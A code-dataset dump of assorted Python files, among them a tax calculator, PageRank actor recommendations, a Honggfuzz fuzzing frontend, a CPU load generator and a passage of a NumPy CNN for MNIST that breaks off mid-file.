height=53, width=176)\n self.Button1.configure(activebackground=\"#ececec\")\n self.Button1.configure(activeforeground=\"#000000\")\n self.Button1.configure(background=\"#ad63d8\")\n self.Button1.configure(command=self.loginuser)\n self.Button1.configure(disabledforeground=\"#a3a3a3\")\n self.Button1.configure(foreground=\"#000000\")\n self.Button1.configure(highlightbackground=\"#d9d9d9\")\n self.Button1.configure(highlightcolor=\"black\")\n self.Button1.configure(pady=\"0\")\n self.Button1.configure(text='''Login''')\n self.Button1.bind('',self.loginuser())\n\nif __name__ == '__main__':\n vp_start_gui()\n\n\n\n\n\n","sub_path":"Login.py","file_name":"Login.py","file_ext":"py","file_size_in_byte":6271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221861717","text":"from unittest import IsolatedAsyncioTestCase\n\nfrom stonky.api import Api\n\n\nclass TestApi(IsolatedAsyncioTestCase):\n async def asyncSetUp(self) -> None:\n self.api = await Api().__aenter__()\n\n async def asyncTearDown(self) -> None:\n await self.api.__aexit__(None, None, None)\n\n async def test_get_quote__stock(self):\n await self.api.get_quote(\"AAPL\")\n\n async def test_get_quote__cryptocurrency(self):\n await self.api.get_quote(\"BTC-USD\")\n\n async def test_get_quote__mutual_fund(self):\n await self.api.get_quote(\"HBLFX\")\n\n async def test_get_forex_rates(self):\n forex = await self.api.get_forex_rates(\"USD\")\n assert forex.USD == 1\n","sub_path":"tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213150111","text":"#create a python program to calculate Taxpayer's tax due\n# Taxpayer's tax due is computed as follows;\n# The taxpayer's dependency_exemption is determined by multiplying 3000 times the number of children.\n# The taxpayer net_income is determined by taking the taxpayer's gross income and subtracting the taxpayer's dependency exemption. (print net_income).\n# If the taxpayer's net income is between 0 and 50,000, the tax due is 15% of net income.\n# If the taxpayer's net income is greater than 50,000, the tax due is 15% of the first 50,000 of net income.\n# 25% of any income over 50,000\nchildren = int(input(\"Enter the number of children: \"))\ngross_income = int(input(\"Enter your gross income: \"))\ndependency_exemption = 3000 * children\nnet_income = gross_income - dependency_exemption\n#print(net_income)\nif net_income<50000 and net_income>0:\n tax = 15/100 * net_income\n print(\"Your due tax is\",tax)\n\nelif net_income>50000:\n num = net_income - 50000\n tax1 = 15/100 * 50000\n tax2 = 25/100 * num\n tax = tax1 + tax2\n print(\"Your due tax is\",tax)","sub_path":"assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472436518","text":"import pandas as pd\nimport actor_vector as av\nimport numpy as np\nimport math\nimport sys\n\nsys.stdout = open('../../Output/task3_coactor_recommend.out.txt', \"w\")\n\ndf = pd.read_pickle('coactor_matrix.pkl')\n#Normalize the matrix to sum upto 1. This becomes the transition probability then.\ndf_norm = df.div(df.sum(axis=1), axis=0)\ndf = df_norm.fillna(0.0)\ndf_norm = df\n\nseed_actors = sys.argv[1].split(',')\nseed_actors = list(map(int, seed_actors))\n\n#Sample seed_actors = (1014988,1342347,1698048)\n\npd.set_option('display.max_rows', 500)\npd.set_option('display.max_columns', 500)\nmovie_actor = pd.read_csv('../../Phase2_data/movie-actor.csv')\nactor_ids = movie_actor.actorid.unique()\n#Intialize PageRank values to 1.0\npr = pd.DataFrame(1.0, columns=actor_ids, index=('PageRank',))\n\nfor i in range(0,300):\n\tpr_new = pr.copy()\n\t#Update page rank\n\tfor i in actor_ids:\n\t\tif i in seed_actors:\n\t\t\tpr_new[i] = (0.15/len(seed_actors)) + .85*df_norm[i].dot(pr.loc['PageRank'])\n\t\telse:\n\t\t\tpr_new[i] = .85*df_norm[i].dot(pr.loc['PageRank'])\n\tpr = pr_new.copy()\n\n#Remove seeded actors from list\nfor i in seed_actors:\n\ttry:\n\t\tpr_final = pr.drop(i ,axis=1)\n\t\tpr = pr_final\n\texcept:\n\t\tpass\n\n#Display top 10 related actors\nprint (pr.loc['PageRank'].nlargest(10))\n","sub_path":"Code/task3/coactor_recommend.py","file_name":"coactor_recommend.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281090979","text":"#!/usr/bin/env python\n\"\"\"\nProduces load on all available CPU cores\nUpdated with suggestion to prevent Zombie processes\nLinted for Python 3\nSource:\ninsaner @ https://danielflannery.ie/simulate-cpu-load-with-python/#comment-34130\n\"\"\"\nfrom multiprocessing import Pool, Process\n#from multiprocessing import cpu_count\nimport signal\nimport time\n\nstop_loop = 0\n\ndef exit_chld(x, y):\n global stop_loop\n stop_loop = 1\n\ndef f(x):\n global stop_loop\n fill_memory = ['hello', 'world'] * 10000000\n while not stop_loop:\n x*x\n time.sleep(0)\n\ndef cpu_intensive_call():\n x = 1\n while _ in range(100000):\n x*x\n time.sleep(0.1)\n\n\nsignal.signal(signal.SIGINT, exit_chld)\n\nif __name__ == '__main__':\n processes = 100\n print('-' * 20)\n print('Running load on CPU(s)')\n print('Utilizing %d cores' % processes)\n print('-' * 20)\n pool = Pool(processes, initializer=lambda x: Process(name='parsing-document-in-ram-intensive-application.py'), initargs=['parsing-document-in-ram-intensive-application'])\n pool.map(f, range(processes))\n","sub_path":"talks/2023-Python-Web-Performance-101/load/parsing-document-in-ram-intensive-application.py","file_name":"parsing-document-in-ram-intensive-application.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586929178","text":"# Copyright (c) 2017 Trail of Bits, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport sys\nimport logging\nimport argparse\n\nfrom .frontend import DeepStateFrontend, FrontendError\n\n\nL = logging.getLogger(\"deepstate.frontend.honggfuzz\")\nL.setLevel(os.environ.get(\"DEEPSTATE_LOG\", \"INFO\").upper())\n\n\nclass Honggfuzz(DeepStateFrontend):\n\n FUZZER = \"honggfuzz\"\n COMPILER = \"hfuzz-clang++\"\n\n @classmethod\n def parse_args(cls):\n parser = argparse.ArgumentParser(description=\"Use Honggfuzz as a backend for DeepState\")\n\n # Execution options\n parser.add_argument(\"--dictionary\", type=str, help=\"Optional fuzzer dictionary for honggfuzz.\")\n parser.add_argument(\"--iterations\", type=int, help=\"Number of iterations to fuzz for.\")\n parser.add_argument(\"--keep_output\", action=\"store_true\", help=\"Output fuzzing feedback during execution.\")\n parser.add_argument(\"--clear_env\", action=\"store_true\", help=\"Clear envvars before execution.\")\n parser.add_argument(\"--save_all\", action=\"store_true\", help=\"Save all test-cases prepended with timestamps.\")\n parser.add_argument(\"--sanitizers\", action=\"store_true\", help=\"Enable sanitizers when fuzzing.\")\n\n # Instrumentation options\n parser.add_argument(\"--no_inst\", type=str, help=\"Black-box fuzzing with honggfuzz without compile-time instrumentation.\")\n parser.add_argument(\"--persistent\", action=\"store_true\", help=\"Set persistent mode when fuzzing.\")\n\n # Hardware-related features for branch counting/coverage, etc.\n parser.add_argument(\"--keep_aslr\", action=\"store_true\", help=\"Don't disable ASLR randomization during execution.\")\n parser.add_argument(\"--perf_instr\", action=\"store_true\", help=\"Allow PERF_COUNT_HW_INSTRUCTIONS.\")\n parser.add_argument(\"--perf_branch\", action=\"store_true\", help=\"Allow PERF_COUNT_BRANCH_INSTRUCTIONS.\")\n\n # Misc. options\n parser.add_argument(\"--post_stats\", action=\"store_true\", help=\"Output post-fuzzing stats.\")\n\n cls.parser = parser\n return super(Honggfuzz, cls).parse_args()\n\n\n def compile(self):\n args = self._ARGS\n\n lib_path = \"/usr/local/lib/libdeepstate_hfuzz.a\"\n L.debug(f\"Static library path: {lib_path}\")\n\n if not os.path.isfile(lib_path):\n flags = [\"-ldeepstate\"]\n else:\n flags = [\"-ldeepstate_hfuzz\"]\n\n if args.compiler_args:\n flags += [arg for arg in args.compiler_args.split(\" \")]\n\n compiler_args = [\"-std=c++11\", args.compile_test] + flags + \\\n [\"-o\", args.out_test_name + \".hfuzz\"]\n super().compile(compiler_args)\n\n\n def pre_exec(self):\n super().pre_exec()\n args = self._ARGS\n\n if not args.no_inst:\n if not args.input_seeds:\n raise FrontendError(\"No -i/--input_seeds provided.\")\n\n if not os.path.exists(args.input_seeds):\n os.mkdir(args.input_seeds)\n raise FrontendError(\"Seed path doesn't exist. Creating empty seed directory and exiting.\")\n\n if len([name for name in os.listdir(args.input_seeds)]) == 0:\n raise FrontendError(f\"No seeds present in directory {args.input_seeds}.\")\n\n\n @property\n def cmd(self):\n args = self._ARGS\n\n cmd_dict = {\n \"--input\": args.input_seeds,\n \"--workspace\": args.output_test_dir,\n \"--timeout\": str(args.timeout),\n }\n\n if args.dictionary:\n cmd_dict[\"--dict\"] = args.dictionary\n if args.iterations:\n cmd_dict[\"--iterations\"] = str(args.iterations)\n\n if args.persistent:\n cmd_dict[\"--persistent\"] = None\n if args.no_inst:\n cmd_dict[\"--noinst\"] = None\n if args.keep_output:\n cmd_dict[\"--keep_output\"] = None\n if args.sanitizers:\n cmd_dict[\"--sanitizers\"] = None\n if args.clear_env:\n cmd_dict[\"--clear_env\"] = None\n if args.save_all:\n cmd_dict[\"--save_all\"] = None\n if args.keep_aslr:\n cmd_dict[\"--linux_keep_aslr\"] = None\n\n # TODO: autodetect hardware features\n if args.perf_instr:\n cmd_dict[\"--linux_perf_instr\"] = None\n if args.perf_branch:\n cmd_dict[\"--linux_perf_branch\"] = None\n\n cmd_dict.update({\n \"--\": args.binary,\n \"--input_test_file\": \"___FILE___\",\n \"--abort_on_fail\": None,\n \"--no_fork\": None\n })\n\n if args.which_test:\n cmd_dict[\"--input_which_test\"] = args.which_test\n\n return cmd_dict\n\n @property\n def stats(self):\n \"\"\"\n Retrieves and parses the stats file produced by Honggfuzz\n \"\"\"\n args = self._ARGS\n out_dir = os.path.abspath(args.output_test_dir) + \"/\"\n report_f = \"HONGGFUZZ.REPORT.TXT\"\n\n stat_file = out_dir + report_f\n with open(stat_file, \"r\") as sf:\n lines = sf.readlines()\n\n stats = {\n \"mutationsPerRun\": None,\n \"externalCmd\": None,\n \"fuzzStdin\": None,\n \"timeout\": None,\n \"ignoreAddr\": None,\n \"ASLimit\": None,\n \"RSSLimit\": None,\n \"DATALimit\": None,\n \"wordlistFile\": None,\n \"fuzzTarget\": None,\n \"ORIG_FNAME\": None,\n \"FUZZ_FNAME\": None,\n \"PID\": None,\n \"SIGNAL\": None,\n \"FAULT ADDRESS\": None,\n \"INSTRUCTION\": None,\n \"STACK HASH\": None,\n }\n\n # strip first 4 and last 5 lines to make a parseable file\n lines = lines[4:][:-5]\n\n for l in lines:\n for k in stats.keys():\n if k in l:\n stats[k] = l.split(\":\")[1].strip()\n\n # add crash metrics\n crashes = len([name for name in os.listdir(out_dir) if name != report_f])\n stats.update({\n \"CRASHES\": crashes\n })\n\n return stats\n\n\n def reporter(self):\n \"\"\"\n Report a summarized version of statistics, ideal for ensembler output.\n \"\"\"\n return dict({\n \"Unique Crashes\": self.stats[\"CRASHES\"]\n })\n\n\n def post_exec(self):\n if self._ARGS.post_stats:\n print(\"\\n\")\n for k, v in self.stats.items():\n print(f\"{k} : {v}\")\n\n\ndef main():\n fuzzer = Honggfuzz()\n args = fuzzer.parse_args()\n\n fuzzer.run()\n return 0\n\n\nif __name__ == \"__main__\":\n exit(main())\n","sub_path":"bin/deepstate/frontend/honggfuzz.py","file_name":"honggfuzz.py","file_ext":"py","file_size_in_byte":6377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29205851","text":"\n# Link : https://www.hackerrank.com/challenges/insertionsort1\n\nimport sys\n\n# sys.stdin = open('test1.in','r')\n# sys.stdout = open('test1.out','w')\n\n\n\n\n\n\ndef main():\n if(sys.stdin.readline() == '0'):\n sys.stdout.write('0')\n exit()\n data = [ int(i) for i in sys.stdin.readline().rstrip().split(' ')]\n\n if data[-1] >= data[-2]:\n sys.stdout.write(str(' '.join([str(i) for i in data]))+'\\n')\n exit()\n n , data[-1] = data[-1] , data[-2]\n sys.stdout.write(str(' '.join([str(i) for i in data]))+'\\n')\n i = len(data) - 2\n while i > 0 and n < data[i-1] :\n data[i] = data[i-1]\n sys.stdout.write(str(' '.join([str(j) for j in data]))+'\\n')\n i -= 1\n data[i] = n\n sys.stdout.write(str(' '.join([str(i) for i in data])))\n\n\n\nmain()\n","sub_path":"Algorithms/Sorting/InsertionSortPart1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635763625","text":"\"\"\"\nNaam: Jens Bouman\nStudentennummer: 1719865\nKlas: V2C\nDocent: Frits Dannenberg\n\nThis function determines the maximum value in the given list 'a'\n\nParameters\n----------\na : list\na is a list containing only integers or floats, and must have a length greater than zero (0)\n\nReturn\n------\nmaximum: int or float\nthe return value is either an integer or a float, depending on the contents of parameter 'a'\n\"\"\"\n\ndef mymax(a):\n assert len(a) > 0, \"Length of a must be greater than 0\"\n assert all(isinstance(n, int) or isinstance(n, float) for n in a), \"Not all ellements are numbers\"\n\n maximum = a[0] #default value being the first element (for negative values)\n for element in a:\n if element > maximum:\n maximum = element\n\n return maximum\n\nlst = [1,2,3,4]; print(mymax(lst)) #4\nlst = [1.1,2.2,3.3,4.4]; print(mymax(lst)) #4.4\nlst = [1,2.2]; print(mymax(lst)) #2.2\n# lst = []; print(mymax(lst)) #assertation error\n# lst = ['999']; print(mymax(lst)) #assertation error\nlst = [-10, -10.2, -9.9]; print(mymax(lst)) #-9.9\n","sub_path":"1.1.py","file_name":"1.1.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"346400417","text":"# Copyright 2017 Palantir Technologies, Inc.\nfrom pyls.config import find_parents, _merge_dicts\n\n\ndef test_find_parents(tmpdir):\n subsubdir = tmpdir.ensure_dir(\"subdir\", \"subsubdir\")\n path = subsubdir.ensure(\"path.py\")\n test_cfg = tmpdir.ensure(\"test.cfg\")\n\n assert find_parents(tmpdir.strpath, path.strpath, [\"test.cfg\"]) == [test_cfg.strpath]\n\n\ndef test_merge_dicts():\n assert _merge_dicts(\n {'a': True, 'b': {'x': 123, 'y': {'hello': 'world'}}},\n {'a': False, 'b': {'y': [], 'z': 987}}\n ) == {'a': False, 'b': {'x': 123, 'y': [], 'z': 987}}\n","sub_path":"test/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"131403495","text":"#!usr/bin/python2.7\n#coding:utf-8\n#敏感词汇和谐化\n\n'''\n思路:从敏感词文件中读取敏感词,放入容器;获取用户输入,判断输入是否包含敏感词汇,输出相应结果\n'''\n\nimport re\npath='/home/tongpinmo/software/pycharm-community-2017.3.1/projects/filtered_words'\ndef read_words(filename=path):\n wordlist=[]\n with open(filename ,'r') as f:\n lines=f.readlines() #readlines()一次性读取整个文件,返回一个列表\n for l in lines:\n wordlist.append(l) #append function\n return wordlist\n\n\n\ndef filter_words():\n input=raw_input('input: ')\n words=read_words()\n for i in range(len(words)): #列表的长度是元素的个数,for 循环必须是一个可迭代对象,iterable\n if re.match(input,words[i]):\n print('Freedom')\n break #只需要匹配到了一次就行,无需遍历完\n else:\n print('Human Rights')\n\n\n\n\nif __name__ == '__main__':\n filter_words()\n\n\n","sub_path":"t0012.py","file_name":"t0012.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151021623","text":"import numpy as np\n\nimport math\nimport time\nimport matplotlib.pyplot as plt\n\ndef f(x):\n if (x == 0):\n return 1\n else:\n return math.sin(x) / x\n\n\ndef find_local_maxima (f, sx, ex, inc_step):\n local_maxima = []\n increment = (ex - sx) / inc_step\n\n start = time.time()\n\n for x in np.linspace (sx + inc_step, ex - inc_step, increment):\n try:\n if (f(x - inc_step) < f(x) and f(x) > f(x + inc_step)):\n local_maxima.append (x)\n except:\n pass\n\n end = time.time()\n\n print (\"Minima finding parameteres were : start={0}, end={1}, inc_step={2}\".format (sx, ex, inc_step))\n print (\"It took {} seconds to find all local minima using a sequantial sliding rectangle method\".format (end - start))\n\n return local_maxima, local_maxima [np.argmax (map (f, local_maxima))]\n\n\nmaxima, global_max = find_local_maxima (f, -200, 200, 0.01)\n\nprint (\"Global maximum is : \" + str (global_max))\n\nplt.plot (np.arange(-200, 200), map (f, range(-200, 200)))\n\nplt.scatter (maxima, map(f, maxima), color='g')\n\nplt.scatter ([global_max], [f(global_max)], color='r')\n\nplt.show ()\n","sub_path":"find_local_maxima.py","file_name":"find_local_maxima.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"553080576","text":"################################################################################\n#\n# LOGISTICS\n#\n# Travis Bonneau\n# tmb170230\n#\n# FILE\n#\n# cnn.py\n#\n# DESCRIPTION\n#\n# MNIST image classification with a CNN written and trained in Python\n#\n# INSTRUCTIONS\n#\n# 1. Go to Google Colaboratory: https://colab.research.google.com/notebooks/welcome.ipynb\n# 2. File - New Python 3 notebook\n# 3. Cut and paste this file into the cell (feel free to divide into multiple cells)\n# 4. Runtime - Run all\n#\n# NOTES\n#\n# 1. A summary of my cnn.py code:\n#\n# The nn.py file is the program that had the most changes. Some of the classes in this file\n# are basically the same from the nn.py, like the Linear, ReLU and Softmax layers, so I'm not going\n# to discuss those as much since they were previously discussed in the nn.py summary, refer to that \n# file if needed (also there are comments in the code for each class in this file for reference).\n# Like I mentioned before I am mostly going to focus on the forward pass for the new components\n# which are Conv2D, which deals with Conv2D Filters and Conv2D Bias, another new layer is MaxPool\n# and the Flatten layer. The Conv2D filter layer is one of the more difficult layers that was implemented\n# beacuse we are given an image but we need to convert it to a column matrix where the columns represent \n# the data where the filter is in the image. There is a common method called im2col which I read up online\n# and I provided multiple sources as to where I got the intuition behind the im2col code. The code is\n# pretty easy to read and is heavily commented. So once we have the column matrix (again with each column \n# representing data where the filter is sliding over the image), and we just perfrom matrix multiplication \n# like can be seen in slide 20 of the Calculus Lecture. The next layer is the Bias layer for the Conv2D, \n# which is very similar to any other bias layer that we saw in nn.py, it just adds constants to the image\n# no multiplication takes place, its just a little different because its on a 3D tensor instead of a 1D \n# one like in nn.py or a 2D one like in extra.py. The other pretty difficult layer was the MaxPool layer.\n# I implemented this one very similarly to the Conv2D Filter layer, where I converted the image to a matrix\n# (a row matrix this time) and then used the max function to get the max value for each fiter location, and \n# reshaped to fit the output image size (Note: this is done per channel). The last new layer is the flatten\n# layer which just takes a 3D tensor and converts it to a 1D vector, which feeds into the Linear layers and \n# eventually the softmax layer which I over in the nn.py file.\n# The code for calculating the error/loss, is the same as what it was in nn.py and extra.py which\n# is Cross Entropy loss and is calculated per element based on the predicted and actual values and then\n# summed together to get the total loss.\n# Like the forward pass I am going to mainly focus on the backward pass for the new components for the\n# cnn. The first layer is the Conv2D Filters layer, which in the forward layer er converted to a 2D tesnor\n# to perform matrix-matrix multiplication so, when we get the error I first convert it back to a matrix form\n# so that we can perform regular back prop for matrix-matrix multipication (see slide 20 of the Calculus\n# lecture). The only difference is the sensitivity of the error w.r.t the input needs to be in a 3D tesnor form\n# to be fed back to whatever component it came from, which I achieve by calling col2im, which is basically just\n# the inverse of im2col, we have a bunch of column features and we need to put them back into the image shape\n# from the input image, following the filter rules provieded such as filter rows and cols, stride, and number\n# of input filters. The Conv2D bias layer has a similar back prop as the regular NN bias layer, since it is\n# element wise addition the gradient is a scalar 1, so the gradient and the sensitivity of the error w.r.t\n# the input is equal to the error passed. The most complicated back prop layer was MaxPool because I need to\n# detemine where the max value was in the input image so only those positions get updated in the sensitivity\n# of the error w.r.t the input. This is performed by getting the im2rows matrix from the forward, finding the \n# max element position and then creating a vector with all positions being 0 except that position wich takes the\n# error passed in. We do this for each row and the call back_row2im, which takes the vectors and converts them to\n# 2D tensors and creates the input error channel based on the rows, and this is performed for each channel. \n# Finally, the last new layer was Flatten, which is simple, it justs reshapes the error back from a 1D tesnor\n# to a 3D tensor, which is then fed into the Conv2D/MaxPool layers.\n# The weight update isn't very different than whats happening in nn.py, I calculate teh gradients \n# in the backwards function and then apply it in the step function where the learning rate is passed in.\n# The main difference is that there are more components defined here which have trainable weights but\n# even then the code is the same structure. \n# Sorry this was so long, there was a lot involved in the cnn model, so I felt like I had a lot to go over. If\n# you want more detailed comments, please look at each layers forward and backwards methods as they are heavily\n# commented.\n#\n# 2. Accuracy display\n#\n# epoch= 0, time=2345.39sec, training_loss= 151694.483, testing_accuracy=41.30\n# epoch= 1, time=2350.55sec, training_loss= 72503.627, testing_accuracy=87.64\n# epoch= 2, time=2367.98sec, training_loss= 19995.600, testing_accuracy=94.20\n# epoch= 3, time=2410.27sec, training_loss= 12702.407, testing_accuracy=95.12\n# Final Test Accuracy: 95.12%\n#\n# 3. Performance display\n#\n# Total Time: 9474.19 seconds\n# Convolutional 2D Filters {\n# Input Size: (1, 28, 28)\n# Output Size: (1, 28, 28)\n# Parameter Size: (16, 1, 3, 3)\n# MACs: 112896\n# }\n# Convolutional 2D Bias {\n# Input Size: (16, 28, 28)\n# Output Size: (16, 28, 28)\n# Parameter Size: (16, 28, 28)\n# MACs: 0\n# }\n# ReLU {\n# Input Size: (16, 28, 28)\n# Output Size: (16, 28, 28)\n# Parameter Size: NONE\n# MACs: 12544\n# }\n# Max Pool {\n# Input Size: (16, 28, 28)\n# Output Size: (16, 14, 14)\n# Parameter Size: NONE\n# MACs: 0\n# }\n# Convolutional 2D Filters {\n# Input Size: (16, 14, 14)\n# Output Size: (16, 14, 14)\n# Parameter Size: (32, 16, 3, 3)\n# MACs: 903168\n# }\n# Convolutional 2D Bias {\n# Input Size: (32, 14, 14)\n# Output Size: (32, 14, 14)\n# Parameter Size: (32, 14, 14)\n# MACs: 0\n# }\n# ReLU {\n# Input Size: (32, 14, 14)\n# Output Size: (32, 14, 14)\n# Parameter Size: NONE\n# MACs: 6272\n# }\n# Max Pool {\n# Input Size: (32, 14, 14)\n# Output Size: (32, 7, 7)\n# Parameter Size: NONE\n# MACs: 0\n# }\n# Convolutional 2D Filters {\n# Input Size: (32, 7, 7)\n# Output Size: (32, 7, 7)\n# Parameter Size: (64, 32, 3, 3)\n# MACs: 903168\n# }\n# Convolutional 2D Bias {\n# Input Size: (64, 7, 7)\n# Output Size: (64, 7, 7)\n# Parameter Size: (64, 7, 7)\n# MACs: 0\n# }\n# ReLU {\n# Input Size: (64, 7, 7)\n# Output Size: (64, 7, 7)\n# Parameter Size: NONE\n# MACs: 3136\n# }\n# Flatten {\n# Input Size: (64, 7, 7)\n# Output Size: (1, 3136)\n# Parameter Size: NONE\n# MACs: 0\n# }\n# Matrix Multiplication {\n# Input Size: (1, 3136)\n# Output Size: (1, 100)\n# Parameter Size: (3136, 100)\n# MACs: 313600\n# }\n# Vector Addition {\n# Input Size: (1, 100)\n# Output Size: (1, 100)\n# Parameter Size: (1, 100)\n# MACs: 0\n# }\n# ReLU {\n# Input Size: (1, 100)\n# Output Size: (1, 100)\n# Parameter Size: NONE\n# MACs: 100\n# }\n# Matrix Multiplication {\n# Input Size: (1, 100)\n# Output Size: (1, 10)\n# Parameter Size: (100, 10)\n# MACs: 1000\n# }\n# Vector Addition {\n# Input Size: (1, 10)\n# Output Size: (1, 10)\n# Parameter Size: (1, 10)\n# MACs: 0\n# }\n# Softmax Cross Entropy {\n# Input Size: (1, 10)\n# Output Size: (1, 10)\n# Parameter Size: NONE\n# MACs: 0\n# }\n#\n################################################################################\n\n################################################################################\n#\n# IMPORT\n#\n################################################################################\n\nimport os.path\nimport urllib.request\nimport gzip\nimport math\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n################################################################################\n#\n# PARAMETERS\n#\n################################################################################\n\n# data\nDATA_NUM_TRAIN = 60000\nDATA_NUM_TEST = 10000\nDATA_CHANNELS = 1\nDATA_ROWS = 28\nDATA_COLS = 28\nDATA_CLASSES = 10\nDATA_URL_TRAIN_DATA = 'http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz'\nDATA_URL_TRAIN_LABELS = 'http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz'\nDATA_URL_TEST_DATA = 'http://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz'\nDATA_URL_TEST_LABELS = 'http://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz'\nDATA_FILE_TRAIN_DATA = 'train_data.gz'\nDATA_FILE_TRAIN_LABELS = 'train_labels.gz'\nDATA_FILE_TEST_DATA = 'test_data.gz'\nDATA_FILE_TEST_LABELS = 'test_labels.gz'\n\n# training data\nNUM_EPOCHS = 4\n\n# display\nDISPLAY_ROWS = 8\nDISPLAY_COLS = 4\nDISPLAY_COL_IN = 10\nDISPLAY_ROW_IN = 25\nDISPLAY_NUM = DISPLAY_ROWS*DISPLAY_COLS\n\n################################################################################\n#\n# MODEL DEFINITION\n#\n################################################################################\n\nclass MNIST_CNN():\n\n def __init__(self):\n super().__init__()\n self.conv1 = Conv2D(input_channels=1, output_channels=16, filter_size=(3, 3), image_size=(28, 28), activation_function=\"relu\")\n self.max1 = MaxPool(filter_size=(3, 3), stride=2)\n self.conv2 = Conv2D(input_channels=16, output_channels=32, filter_size=(3, 3), image_size=(14, 14), activation_function=\"relu\")\n self.max2 = MaxPool(filter_size=(3, 3), stride=2)\n self.conv3 = Conv2D(input_channels=32, output_channels=64, filter_size=(3, 3), image_size=(7, 7), activation_function=\"relu\")\n self.flatten = Flatten()\n self.linear1 = Linear(in_size=3136, out_size=100, activation_function=\"relu\")\n self.linear2 = Linear(in_size=100, out_size=10)\n self.softmax = SoftmaxCrossEntropy(size=10)\n \n def forward(self, x):\n x = self.conv1.forward(x)\n x = self.max1.forward(x)\n x = self.conv2.forward(x)\n x = self.max2.forward(x)\n x = self.conv3.forward(x)\n x = self.flatten.forward(x)\n x = self.linear1.forward(x)\n x = self.linear2.forward(x)\n x = self.softmax.forward(x)\n return x\n\n def backward(self, error):\n error = self.softmax.backward(error)\n error = self.linear2.backward(error)\n error = self.linear1.backward(error)\n error = self.flatten.backward(error)\n error = self.conv3.backward(error)\n error = self.max2.backward(error)\n error = self.conv2.backward(error)\n error = self.max1.backward(error)\n error = self.conv1.backward(error)\n return error\n\n def step(self, learning_rate):\n self.conv1.step(learning_rate)\n self.max1.step(learning_rate)\n self.conv2.step(learning_rate)\n self.max2.step(learning_rate)\n self.conv3.step(learning_rate)\n self.flatten.step(learning_rate)\n self.linear1.step(learning_rate)\n self.linear2.step(learning_rate)\n self.softmax.step(learning_rate)\n\n def zeroize_gradients(self):\n self.conv1.zeroize_gradients()\n self.max1.zeroize_gradients()\n self.conv2.zeroize_gradients()\n self.max2.zeroize_gradients()\n self.conv3.zeroize_gradients()\n self.flatten.zeroize_gradients()\n self.linear1.zeroize_gradients()\n self.linear2.zeroize_gradients()\n self.softmax.zeroize_gradients()\n\n def __str__(self):\n ret = \"\"\n ret += str(self.conv1)\n ret += str(self.max1)\n ret += str(self.conv2)\n ret += str(self.max2)\n ret += str(self.conv3)\n ret += str(self.flatten)\n ret += str(self.linear1)\n ret += str(self.linear2)\n ret += str(self.softmax)\n return ret\n\n################################################################################\n#\n# CONVOLUTIONAL 2D LAYER DEFINITION\n#\n################################################################################\n\nclass Conv2D():\n\n def __init__(self, input_channels, output_channels, filter_size, image_size, activation_function=None):\n super().__init__()\n self.filters = Conv2DFilters(input_channels=input_channels, output_channels=output_channels, filter_size=filter_size)\n self.bias = Conv2DBias(input_channels=output_channels, image_shape=image_size)\n self.activation_function = None\n if activation_function == \"relu\":\n self.activation_function = ReLU(size=image_size)\n\n self.zeroize_gradients()\n\n def forward(self, x):\n x = self.filters.forward(x)\n x = self.bias.forward(x)\n if self.activation_function is not None:\n x = self.activation_function.forward(x)\n return x\n\n def backward(self, error):\n if self.activation_function is not None:\n error = self.activation_function.backward(error)\n error = self.bias.backward(error)\n error = self.filters.backward(error)\n return error\n\n def step(self, learning_rate):\n self.filters.step(learning_rate=learning_rate)\n self.bias.step(learning_rate=learning_rate)\n if self.activation_function is not None:\n self.activation_function.step(learning_rate=learning_rate)\n\n def zeroize_gradients(self):\n self.filters.zeroize_gradients()\n self.bias.zeroize_gradients()\n if self.activation_function is not None:\n self.activation_function.zeroize_gradients()\n\n def __str__(self):\n ret = \"\"\n ret += str(self.filters)\n ret += str(self.bias)\n if self.activation_function is not None:\n ret += str(self.activation_function)\n return ret\n\n################################################################################\n#\n# CONVOLUTIONAL 2D FILTER LAYER DEFINITION\n#\n################################################################################\n\nclass Conv2DFilters():\n\n def __init__(self, input_channels, output_channels, filter_size):\n super().__init__()\n self.num_input_channels = input_channels\n self.num_output_channels = output_channels\n self.filter_rows, self.filter_cols = filter_size\n self.padding = self.filter_rows // 2\n\n self.filters = np.random.rand(output_channels, input_channels * self.filter_rows * self.filter_cols)\n # Weight initilization is like \"He-et-al Weight Initialization\" but some changes are \n # made based on some 